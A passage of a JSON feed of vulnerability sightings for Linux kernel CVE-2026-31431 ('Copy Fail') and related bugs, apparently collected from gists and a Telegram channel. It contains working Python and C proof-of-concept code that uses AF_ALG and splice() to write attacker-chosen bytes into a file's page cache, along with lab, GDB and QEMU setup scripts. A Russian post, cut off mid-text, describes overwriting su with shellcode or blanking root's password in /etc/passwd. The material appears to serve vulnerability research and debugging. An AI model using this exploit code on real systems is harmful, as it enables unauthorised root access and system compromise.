\"\"\"Write 4 bytes to target file's page cache at given offset.\"\"\"\n    alg_sock = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)\n    alg_sock.bind((\"aead\", \"authencesn(hmac(sha256),cbc(aes))\"))\n\n    # Key: rtattr(8) + authkey(16) + enckey(16) = 40 bytes\n    key = struct.pack('I', 16) + b'\\x00' * 32\n    alg_sock.setsockopt(SOL_ALG, ALG_SET_KEY, key)\n    alg_sock.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, AUTHSIZE)\n\n    req_sock, _ = alg_sock.accept()\n\n    # AAD: [0:4]=padding, [4:8]=value to write into page cache\n    aad = b'\\x00' * 4 + value_bytes\n    cmsg = [\n        (SOL_ALG, ALG_SET_OP, struct.pack(' [hex_value]\")\n        sys.exit(1)\n\n    target = sys.argv[1]\n    value = 0xDEADBEEF\n    if len(sys.argv) > 2:\n        value = int(sys.argv[2], 16)\n\n    fd = os.open(target, os.O_RDONLY)\n\n    # Read original bytes\n    original = os.pread(fd, 16, 0)\n    print(f\"[*] Target: {target}\")\n    print(f\"[*] Before: {original[:4].hex()}\")\n\n    # Write 4 bytes to page cache offset 0\n    page_cache_write_4bytes(fd, 0, struct.pack(' /proc/sys/vm/drop_caches\n\n---\napiVersion: v1\nkind: Pod\nmetadata:\n  name: hostpath-test\n  namespace: copyfail-lab\nspec:\n  containers:\n  - name: test\n    image: python:3.11-slim\n    command: [\"sleep\", \"infinity\"]\n  volumes:\n  - name: host-bin\n    hostPath:\n      path: /usr/bin\n      type: Directory\n  containers:\n  - name: test\n    image: python:3.11-slim\n    command: [\"sleep\", \"infinity\"]\n    volumeMounts:\n    - name: host-bin\n      mountPath: /hostbin\n      readOnly: true    # This does NOT prevent page cache corruption!\n", "creation_timestamp": "2026-05-08T04:30:22.000000Z"}, {"uuid": "1cd34b68-5a7f-4e06-8d35-708c486c4f53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/0xlane/0d565281d6a2ae05de2fc310a4a23a90", "content": "# GDB commands for CVE-2026-31431 dynamic debugging\n#\n# Usage: gdb ./vmlinux -x gdb_commands.gdb\n# Then:  target remote :1234\n#        continue\n\nset pagination off\nset confirm off\n\n# --- Breakpoint 1: crypto_authenc_esn_decrypt entry ---\nbreak crypto_authenc_esn_decrypt\ncommands\n    silent\n    printf \"\\n=== [BP1] crypto_authenc_esn_decrypt ===\\n\"\n    # req is first argument (rdi on x86_64)\n    printf \"  req->cryptlen  = %u\\n\", ((struct aead_request *)$rdi)->cryptlen\n    printf \"  req->assoclen  = %u\\n\", ((struct aead_request *)$rdi)->assoclen\n    printf \"  req->src       = %p\\n\", ((struct aead_request *)$rdi)->src\n    printf \"  req->dst       = %p\\n\", ((struct aead_request *)$rdi)->dst\n    printf \"  src == dst     = %d (in-place?)\\n\", ((struct aead_request *)$rdi)->src == ((struct aead_request *)$rdi)->dst\n    continue\nend\n\n# --- Breakpoint 2: scatterwalk_map_and_copy WRITE operations ---\n# out=1 means write. This catches the critical scratch write.\nbreak scatterwalk_map_and_copy if out == 1\ncommands\n    silent\n    printf \"\\n=== [BP2] scatterwalk_map_and_copy WRITE ===\\n\"\n    printf \"  buf=%p sg=%p start=%u nbytes=%u\\n\", buf, sg, start, nbytes\n    # Print first 4 bytes being written\n    printf \"  writing value: 0x%08x\\n\", *(unsigned int *)buf\n    continue\nend\n\n# --- Breakpoint 3: sg_chain call in algif_aead ---\n# This is where tag pages get chained to RX SGL\nbreak sg_chain\ncommands\n    silent\n    printf \"\\n=== [BP3] sg_chain ===\\n\"\n    printf \"  prv=%p prv_nents=%u sgl=%p\\n\", prv, prv_nents, sgl\n    continue\nend\n\nprintf \"\\n[GDB] Breakpoints set. Connect with: target remote :1234\\n\"\nprintf \"[GDB] Then: continue\\n\\n\"\n", "creation_timestamp": "2026-05-08T04:30:20.000000Z"}, {"uuid": "8aba6de0-b27b-464f-9094-38bb8c642086", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/0xlane/a854338363e449bdb002b43ff5080e55", "content": "#!/bin/sh\n# Minimal init for CVE-2026-31431 debugging\n\nmount -t proc proc /proc\nmount -t sysfs sysfs /sys\nmount -t devtmpfs devtmpfs /dev\nmkdir -p /dev/pts\nmount -t devpts devpts /dev/pts\nmount -t tmpfs tmpfs /tmp\n\n# Create a test target file for page cache experiments\necho \"ORIGINAL CONTENT - This is a test file for page cache write verification.\" > /tmp/target.txt\necho \"OFFSET_00 OFFSET_10 OFFSET_20 OFFSET_30 OFFSET_40 OFFSET_50 OFFSET_60\" >> /tmp/target.txt\n\n# Set hostname\nhostname copyfail-debug\n\necho \"\"\necho \"==========================================\"\necho \" CVE-2026-31431 Debug Environment\"\necho \"==========================================\"\necho \"\"\necho \"Available tools:\"\necho \"  /usr/bin/poc_pagecache_write   \"\necho \"\"\necho \"Quick test:\"\necho \"  hexdump -C /tmp/target.txt | head\"\necho \"  poc_pagecache_write /tmp/target.txt 0 0xDEADBEEF\"\necho \"  hexdump -C /tmp/target.txt | head\"\necho \"  echo 3 > /proc/sys/vm/drop_caches\"\necho \"  hexdump -C /tmp/target.txt | head\"\necho \"\"\necho \"Kernel version: $(uname -r)\"\necho \"\"\n\n# Run experiment if script exists\nif [ -f /experiment_3_1.sh ]; then\n    sh /experiment_3_1.sh\nfi\n\nexec /bin/sh\n\n\n/*\n * CVE-2026-31431 \"Copy Fail\" \u2014 Minimal Page Cache Write PoC (C version)\n *\n * Demonstrates the page cache write primitive without full exploitation.\n * Writes a controlled 4-byte value to a target file's page cache.\n *\n * Usage: ./poc_pagecache_write   \n * Example: ./poc_pagecache_write /tmp/testfile 0 0xDEADBEEF\n *\n * For academic research only.\n */\n\n#define _GNU_SOURCE\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n#ifndef AF_ALG\n#define AF_ALG 38\n#endif\n#ifndef SOL_ALG\n#define SOL_ALG 279\n#endif\n#ifndef ALG_SET_KEY\n#define ALG_SET_KEY 1\n#endif\n#ifndef ALG_SET_IV\n#define ALG_SET_IV 2\n#endif\n#ifndef ALG_SET_OP\n#define ALG_SET_OP 3\n#endif\n#ifndef ALG_SET_AEAD_ASSOCLEN\n#define ALG_SET_AEAD_ASSOCLEN 4\n#endif\n#ifndef ALG_SET_AEAD_AUTHSIZE\n#define ALG_SET_AEAD_AUTHSIZE 5\n#endif\n\n#define AUTHSIZE  4\n#define ASSOCLEN  8\n#define AES_KEYLEN 16\n#define HMAC_KEYLEN 16\n#define IV_SIZE 16\n\nstruct authenc_key {\n    uint16_t rta_len;\n    uint16_t rta_type;\n    uint32_t enckeylen_be;\n    uint8_t  authkey[HMAC_KEYLEN];\n    uint8_t  enckey[AES_KEYLEN];\n} __attribute__((packed));\n\nstatic int page_cache_write_4bytes(int target_fd, unsigned int file_offset,\n                                   uint32_t value)\n{\n    int alg_fd, req_fd;\n    int pipefd[2];\n    struct sockaddr_alg sa;\n    struct authenc_key key;\n    int ret = -1;\n\n    memset(&sa, 0, sizeof(sa));\n    sa.salg_family = AF_ALG;\n    strcpy((char *)sa.salg_type, \"aead\");\n    strcpy((char *)sa.salg_name, \"authencesn(hmac(sha256),cbc(aes))\");\n\n    alg_fd = socket(AF_ALG, SOCK_SEQPACKET, 0);\n    if (alg_fd < 0) {\n        perror(\"socket(AF_ALG)\");\n        return -1;\n    }\n\n    if (bind(alg_fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) {\n        perror(\"bind\");\n        goto out_alg;\n    }\n\n    memset(&key, 0, sizeof(key));\n    key.rta_len = 8;\n    key.rta_type = 1;\n    key.enckeylen_be = htonl(AES_KEYLEN);\n\n    if (setsockopt(alg_fd, SOL_ALG, ALG_SET_KEY, &key, sizeof(key)) < 0) {\n        perror(\"setsockopt(ALG_SET_KEY)\");\n        goto out_alg;\n    }\n\n    if (setsockopt(alg_fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, AUTHSIZE) < 0) {\n        perror(\"setsockopt(ALG_SET_AEAD_AUTHSIZE)\");\n        goto out_alg;\n    }\n\n    req_fd = accept(alg_fd, NULL, NULL);\n    if (req_fd < 0) {\n        perror(\"accept\");\n        goto out_alg;\n    }\n\n    /* sendmsg: AAD = \"AAAA\" + value (8 bytes total) */\n    {\n        uint8_t aad[ASSOCLEN];\n        memset(aad, 'A', 4);\n        memcpy(aad + 4, &value, 4);\n\n        uint32_t op = 0; /* ALG_OP_DECRYPT */\n        uint32_t assoclen = ASSOCLEN;\n        uint8_t iv_buf[sizeof(uint32_t) + IV_SIZE];\n        memset(iv_buf, 0, sizeof(iv_buf));\n        *(uint32_t *)iv_buf = IV_SIZE;\n\n        struct iovec iov = { .iov_base = aad, .iov_len = ASSOCLEN };\n\n        uint8_t cbuf[CMSG_SPACE(sizeof(op)) +\n                     CMSG_SPACE(sizeof(iv_buf)) +\n                     CMSG_SPACE(sizeof(assoclen))];\n        memset(cbuf, 0, sizeof(cbuf));\n\n        struct msghdr msg = {\n            .msg_iov = &iov,\n            .msg_iovlen = 1,\n            .msg_control = cbuf,\n            .msg_controllen = sizeof(cbuf),\n        };\n\n        struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);\n        cmsg->cmsg_level = SOL_ALG;\n        cmsg->cmsg_type = ALG_SET_OP;\n        cmsg->cmsg_len = CMSG_LEN(sizeof(op));\n        memcpy(CMSG_DATA(cmsg), &op, sizeof(op));\n\n        cmsg = CMSG_NXTHDR(&msg, cmsg);\n        cmsg->cmsg_level = SOL_ALG;\n        cmsg->cmsg_type = ALG_SET_IV;\n        cmsg->cmsg_len = CMSG_LEN(sizeof(iv_buf));\n        memcpy(CMSG_DATA(cmsg), iv_buf, sizeof(iv_buf));\n\n        cmsg = CMSG_NXTHDR(&msg, cmsg);\n        cmsg->cmsg_level = SOL_ALG;\n        cmsg->cmsg_type = ALG_SET_AEAD_ASSOCLEN;\n        cmsg->cmsg_len = CMSG_LEN(sizeof(assoclen));\n        memcpy(CMSG_DATA(cmsg), &assoclen, sizeof(assoclen));\n\n        if (sendmsg(req_fd, &msg, MSG_MORE) < 0) {\n            perror(\"sendmsg\");\n            goto out_req;\n        }\n    }\n\n    /* splice: file[0 : file_offset + AUTHSIZE] into AF_ALG socket */\n    {\n        size_t splice_len = file_offset + AUTHSIZE;\n\n        if (pipe(pipefd) < 0) {\n            perror(\"pipe\");\n            goto out_req;\n        }\n\n        loff_t off_in = 0;\n        ssize_t n = splice(target_fd, &off_in, pipefd[1], NULL,\n                           splice_len, SPLICE_F_MOVE);\n        if (n < 0 || (size_t)n != splice_len) {\n            perror(\"splice(file\u2192pipe)\");\n            goto out_pipe;\n        }\n\n        n = splice(pipefd[0], NULL, req_fd, NULL,\n                   splice_len, SPLICE_F_MOVE);\n        if (n < 0 || (size_t)n != splice_len) {\n            perror(\"splice(pipe\u2192socket)\");\n            goto out_pipe;\n        }\n    }\n\n    /* recv: triggers authencesn decrypt \u2192 page cache write happens here */\n    {\n        size_t recv_len = ASSOCLEN + file_offset;\n        uint8_t *buf = malloc(recv_len ? recv_len : 1);\n        if (!buf) goto out_pipe;\n\n        ssize_t n = recv(req_fd, buf, recv_len, 0);\n        /* Expected: n < 0, errno = EBADMSG (HMAC verification fails) */\n        /* But the 4-byte page cache write has already occurred! */\n        if (n < 0 && errno != EBADMSG)\n            fprintf(stderr, \"recv: unexpected error %d (%s)\\n\",\n                    errno, strerror(errno));\n        free(buf);\n    }\n\n    ret = 0;\n\nout_pipe:\n    close(pipefd[0]);\n    close(pipefd[1]);\nout_req:\n    close(req_fd);\nout_alg:\n    close(alg_fd);\n    return ret;\n}\n\nint main(int argc, char *argv[])\n{\n    if (argc != 4) {\n        fprintf(stderr, \"Usage: %s   \\n\", argv[0]);\n        fprintf(stderr, \"Example: %s /tmp/testfile 0 0xDEADBEEF\\n\", argv[0]);\n        return 1;\n    }\n\n    const char *target_path = argv[1];\n    unsigned int offset = strtoul(argv[2], NULL, 0);\n    uint32_t value = strtoul(argv[3], NULL, 0);\n\n    printf(\"[*] Target: %s\\n\", target_path);\n    printf(\"[*] Offset: %u (0x%x)\\n\", offset, offset);\n    printf(\"[*] Value:  0x%08x\\n\", value);\n\n    int fd = open(target_path, O_RDONLY);\n    if (fd < 0) {\n        perror(\"open target\");\n        return 1;\n    }\n\n    printf(\"[*] Writing 4 bytes to page cache...\\n\");\n    if (page_cache_write_4bytes(fd, offset, value) < 0) {\n        fprintf(stderr, \"[-] Page cache write failed\\n\");\n        close(fd);\n        return 1;\n    }\n\n    printf(\"[+] Done. Page cache of %s at offset %u should now contain 0x%08x\\n\",\n           target_path, offset, value);\n    printf(\"[*] Verify: hexdump -C -s %u -n 4 %s\\n\", offset, target_path);\n\n    close(fd);\n    return 0;\n}\n\n\n#!/bin/bash\n# Launch QEMU for CVE-2026-31431 debugging\n#\n# Usage:\n#   ./run_qemu.sh          # Normal boot\n#   ./run_qemu.sh debug    # Boot paused, waiting for GDB on :1234\n\nSCRIPT_DIR=\"$(cd \"$(dirname \"$0\")\" && pwd)\"\nBZIMAGE=\"${SCRIPT_DIR}/bzImage\"\nROOTFS=\"${SCRIPT_DIR}/rootfs.cpio.gz\"\n\nif [ ! -f \"$BZIMAGE\" ] || [ ! -f \"$ROOTFS\" ]; then\n    echo \"Error: bzImage or rootfs.cpio.gz not found in ${SCRIPT_DIR}\"\n    echo \"Run the Docker build first: ./build_docker.sh\"\n    exit 1\nfi\n\nEXTRA_ARGS=\"\"\nif [ \"$1\" = \"debug\" ]; then\n    EXTRA_ARGS=\"-s -S\"\n    echo \"=== Debug mode: QEMU paused, waiting for GDB on localhost:1234 ===\"\n    echo \"  In another terminal: gdb ./vmlinux -ex 'target remote :1234'\"\nfi\n\nexec qemu-system-x86_64 \\\n    -kernel \"$BZIMAGE\" \\\n    -initrd \"$ROOTFS\" \\\n    -append \"console=ttyS0 nokaslr\" \\\n    -nographic \\\n    -m 512M \\\n    -smp 1 \\\n    ${EXTRA_ARGS}\n", "creation_timestamp": "2026-05-08T04:30:19.000000Z"}, {"uuid": "287c8734-ce52-4546-8034-e56ab391e874", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31697", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:29:47.133708Z"}, {"uuid": "59cc6899-8629-49e0-a677-7701036f0658", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31716", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:30:31.559601Z"}, {"uuid": "1f4c8cdd-9bc0-4c42-9cbc-8cc63a34cea5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31747", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:32:03.180137Z"}, {"uuid": "e4ad9122-294b-4dc1-bd39-942d09d042b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/poxek/6065", "content": "\ud83e\udde0 \u041f\u043e\u043c\u043d\u0438\u0442\u0435 Copy Fail? \u0422\u0430\u043a \u0432\u043e\u0442, \u043d\u0430\u0448\u043b\u0438 \u0435\u0449\u0451 \u0434\u0432\u0430 \u0441\u043f\u043e\u0441\u043e\u0431\u0430 \u0434\u0435\u043b\u0430\u0442\u044c \u0442\u043e \u0436\u0435 \u0441\u0430\u043c\u043e\u0435\n\n\u041d\u0435\u0434\u0435\u043b\u044e \u043d\u0430\u0437\u0430\u0434 \u044f \u043f\u0438\u0441\u0430\u043b \u043f\u0440\u043e CVE-2026-31431 - 732 \u0431\u0430\u0439\u0442\u0430 Python \u0438 \u0442\u044b root. \u0411\u0430\u0433 \u0432 \u043a\u0440\u0438\u043f\u0442\u043e-\u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u044f\u0434\u0440\u0430, \u0447\u0435\u0440\u0435\u0437 splice() \u0438 page cache. \u041a\u0430\u0437\u0430\u043b\u043e\u0441\u044c \u0431\u044b - \u043d\u0443 \u043d\u0430\u0448\u043b\u0438, \u043d\u0443 \u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0438\u043b\u0438, \u0436\u0438\u0432\u0451\u043c \u0434\u0430\u043b\u044c\u0448\u0435\n\n\u0410 \u0432\u0447\u0435\u0440\u0430 V4bel \u0432\u044b\u043a\u0430\u0442\u0438\u043b DirtyFrag. \u0414\u0432\u0430 \u043d\u043e\u0432\u044b\u0445 \u0431\u0430\u0433\u0430 \u0442\u043e\u0433\u043e \u0436\u0435 \u043a\u043b\u0430\u0441\u0441\u0430. \u0422\u043e\u0442 \u0436\u0435 \u043f\u0440\u0438\u043d\u0446\u0438\u043f - \u0447\u0435\u0440\u0435\u0437 splice() \u0437\u0430\u0433\u043e\u043d\u044f\u0435\u043c \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u0444\u0430\u0439\u043b\u0430 \u0432 \u044f\u0434\u0435\u0440\u043d\u0443\u044e \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u044e, \u044f\u0434\u0440\u043e \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u0442 \"\u043d\u0430 \u043c\u0435\u0441\u0442\u0435\" \u0438 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u043f\u0440\u044f\u043c\u043e \u0432 page cache. \u0422\u043e\u043b\u044c\u043a\u043e \u0442\u0435\u043f\u0435\u0440\u044c \u043d\u0435 \u0447\u0435\u0440\u0435\u0437 AF_ALG, \u0430 \u0447\u0435\u0440\u0435\u0437 \u0434\u0432\u0430 \u0434\u0440\u0443\u0433\u0438\u0445 \u043c\u043e\u0434\u0443\u043b\u044f - ESP (IPsec) \u0438 RxRPC\n\n \ud83d\udc40 \u0414\u0432\u0430 \u043f\u0443\u0442\u0438 \u043a root. \u0412\u044b\u0431\u0438\u0440\u0430\u0439 \u043a\u0430\u043a\u043e\u0439 \u043d\u0440\u0430\u0432\u0438\u0442\u0441\u044f\n\n\u041f\u0435\u0440\u0432\u044b\u0439 - \u0447\u0435\u0440\u0435\u0437 ESP. \u0421\u043e\u0437\u0434\u0430\u0451\u043c XFRM-\u0430\u0441\u0441\u043e\u0446\u0438\u0430\u0446\u0438\u044e \u0441 UDP-\u0438\u043d\u043a\u0430\u043f\u0441\u0443\u043b\u044f\u0446\u0438\u0435\u0439, \u0437\u0430\u0441\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b /usr/bin/su \u0432 \u043f\u0430\u0439\u043f\u043b\u0430\u0439\u043d \u0447\u0435\u0440\u0435\u0437 splice(), \u044f\u0434\u0440\u043e \u0434\u0435\u043b\u0430\u0435\u0442 in-place \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0443 \u0438 \u043f\u0438\u0448\u0435\u0442 4 \u0431\u0430\u0439\u0442\u0430 \u043a\u0443\u0434\u0430 \u043c\u044b \u0441\u043a\u0430\u0436\u0435\u043c. \u041f\u043e\u0432\u0442\u043e\u0440\u044f\u0435\u043c - \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c 192-\u0431\u0430\u0439\u0442\u043d\u044b\u0439 \u0448\u0435\u043b\u043b\u043a\u043e\u0434 \u043f\u043e\u0432\u0435\u0440\u0445 su. \u0417\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c su - \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c root. \u0417\u0432\u0443\u0447\u0438\u0442 \u0437\u043d\u0430\u043a\u043e\u043c\u043e? \u042d\u0442\u043e \u0431\u0443\u043a\u0432\u0430\u043b\u044c\u043d\u043e \u0442\u043e\u0442 \u0436\u0435 \u043f\u0430\u0442\u0442\u0435\u0440\u043d, \u0447\u0442\u043e \u0438 Copy Fail, \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437 \u0434\u0440\u0443\u0433\u0443\u044e \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0443. \u0411\u0430\u0433 \u0432 \u044f\u0434\u0440\u0435 \u0441 \u044f\u043d\u0432\u0430\u0440\u044f 2017 \u0433\u043e\u0434\u0430\n\n\u0412\u0442\u043e\u0440\u043e\u0439 - \u0447\u0435\u0440\u0435\u0437 RxRPC, \u0438 \u0432\u043e\u0442 \u0442\u0443\u0442 \u043a\u0440\u0430\u0441\u0438\u0432\u043e. \u0412\u043c\u0435\u0441\u0442\u043e \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a\u0430 - \u043f\u0430\u0442\u0447\u0438\u043c /etc/passwd. \u0421\u043e\u0437\u0434\u0430\u0451\u043c rxkad-\u0442\u043e\u043a\u0435\u043d \u0441 \u043d\u0443\u0436\u043d\u044b\u043c \u043a\u043b\u044e\u0447\u043e\u043c \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u044f\u0434\u0440\u043e \u0447\u0435\u0440\u0435\u0437 rxkad_verify_packet_1() \u0434\u0435\u043b\u0430\u0435\u0442 pcbc(fcrypt) \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0443 \u043f\u0440\u044f\u043c\u043e \u043f\u043e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435 \u0444\u0430\u0439\u043b\u0430. \u0422\u0440\u0438 splice-\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0441 \u043f\u0435\u0440\u0435\u043a\u0440\u044b\u0442\u0438\u0435\u043c - \u0438 \u0441\u0442\u0440\u043e\u043a\u0430 root:x:0:0: \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 root::0:0:. \u041f\u0443\u0441\u0442\u043e\u0439 \u043f\u0430\u0440\u043e\u043b\u044c. su root, Enter, \u0432\u0441\u0451. \u041f\u0440\u0438\u0447\u0451\u043c \u043d\u0443\u0436\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0434\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u0432 \u044e\u0437\u0435\u0440\u0441\u043f\u0435\u0439\u0441\u0435 - \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043e\u0444\u043b\u0430\u0439\u043d, \u0431\u0435\u0437 \u0435\u0434\u0438\u043d\u043e\u0433\u043e \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u043a \u044f\u0434\u0440\u0443. \u041e\u0434\u0438\u043d \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0442\u0440\u0438\u0433\u0433\u0435\u0440 \u0432 \u043a\u043e\u043d\u0446\u0435. \u042d\u0442\u043e\u0442 \u0431\u0430\u0433 \u0441 \u0438\u044e\u043d\u044f 2023 \u0433\u043e\u0434\u0430\n\n\u041d\u0438 \u043e\u0434\u043d\u043e\u0439 \u0433\u043e\u043d\u043a\u0438. \u041d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e race condition. \u0414\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u043b\u043e\u0433\u0438\u043a\u0430 - \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u043b \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b, \u0434\u0451\u0440\u043d\u0443\u043b \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0443, page cache \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0430\u043d. \u0415\u0441\u043b\u0438 \u0447\u0442\u043e-\u0442\u043e \u043f\u043e\u0448\u043b\u043e \u043d\u0435 \u0442\u0430\u043a - \u044f\u0434\u0440\u043e \u043d\u0435 \u043f\u0430\u0434\u0430\u0435\u0442, \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u0432\u0442\u043e\u0440\u0438\u0442\u044c\n\n\u041f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043e \u043d\u0430 Ubuntu 24.04, RHEL 10.1, openSUSE Tumbleweed, CentOS Stream 10, AlmaLinux 10, Fedora 44. \u041a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043e\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u043e\u0439: \n\n\ngcc -O0 -Wall -o exp exp.c -lutil\n\n\n\u0418 \u0432\u043e\u0442 \u0442\u0443\u0442 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0441\u0430\u043c\u043e\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435 - CVE \u043d\u0435\u0442. \u041f\u0430\u0442\u0447\u0430 \u043d\u0435\u0442. \u041d\u0438 \u0434\u043b\u044f \u043e\u0434\u043d\u043e\u0433\u043e \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0430. \u041f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043a\u0442\u043e-\u0442\u043e \u0441\u043b\u043e\u043c\u0430\u043b \u044d\u043c\u0431\u0430\u0440\u0433\u043e \u0434\u043e \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0432\u0435\u043d\u0434\u043e\u0440\u044b \u0443\u0441\u043f\u0435\u043b\u0438 \u0432\u044b\u043a\u0430\u0442\u0438\u0442\u044c \u0444\u0438\u043a\u0441\u044b. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0441\u0432\u044f\u0437\u0430\u043b\u0441\u044f \u0441 linux-distros@openwall, \u0442\u0435 \u043f\u043e\u043f\u0440\u043e\u0441\u0438\u043b\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u0442\u044c - \u0438 \u043e\u043d \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b. \u041f\u043e\u043b\u043d\u044b\u0439 \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a, \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044f, \u0437\u0430\u043f\u0443\u0441\u043a. \u041d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 - zero-day \u0432 \u0447\u0438\u0441\u0442\u043e\u043c \u0432\u0438\u0434\u0435\n\n\u0427\u0442\u043e \u043c\u044b \u0438\u043c\u0435\u0435\u043c. Dirty Pipe \u0432 2022 - page cache \u0447\u0435\u0440\u0435\u0437 \u043f\u0430\u0439\u043f\u044b. Copy Fail \u043d\u0435\u0434\u0435\u043b\u044e \u043d\u0430\u0437\u0430\u0434 - page cache \u0447\u0435\u0440\u0435\u0437 AF_ALG. DirtyFrag \u0432\u0447\u0435\u0440\u0430 - page cache \u0447\u0435\u0440\u0435\u0437 ESP \u0438 RxRPC. \u0422\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043e\u0434\u0438\u043d \u0438 \u0442\u043e\u0442 \u0436\u0435 \u0431\u0430\u0433-\u043a\u043b\u0430\u0441\u0441. \u042f\u0434\u0440\u043e Linux \u043f\u043e\u043b\u043d\u043e \u043c\u0435\u0441\u0442, \u0433\u0434\u0435 \u043a\u0440\u0438\u043f\u0442\u043e\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0434\u0435\u043b\u0430\u044e\u0442\u0441\u044f \u00ab\u043d\u0430 \u043c\u0435\u0441\u0442\u0435\u00bb \u043f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u0438\u0437 splice(). \u041a\u0430\u0436\u0434\u043e\u0435 \u0442\u0430\u043a\u043e\u0435 \u043c\u0435\u0441\u0442\u043e - \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u0430\u044f \u0437\u0430\u043f\u0438\u0441\u044c \u0432 page cache. \u0421\u043a\u043e\u043b\u044c\u043a\u043e \u0435\u0449\u0451 \u0442\u0430\u043a\u0438\u0445 \u043c\u0435\u0441\u0442 \u0432 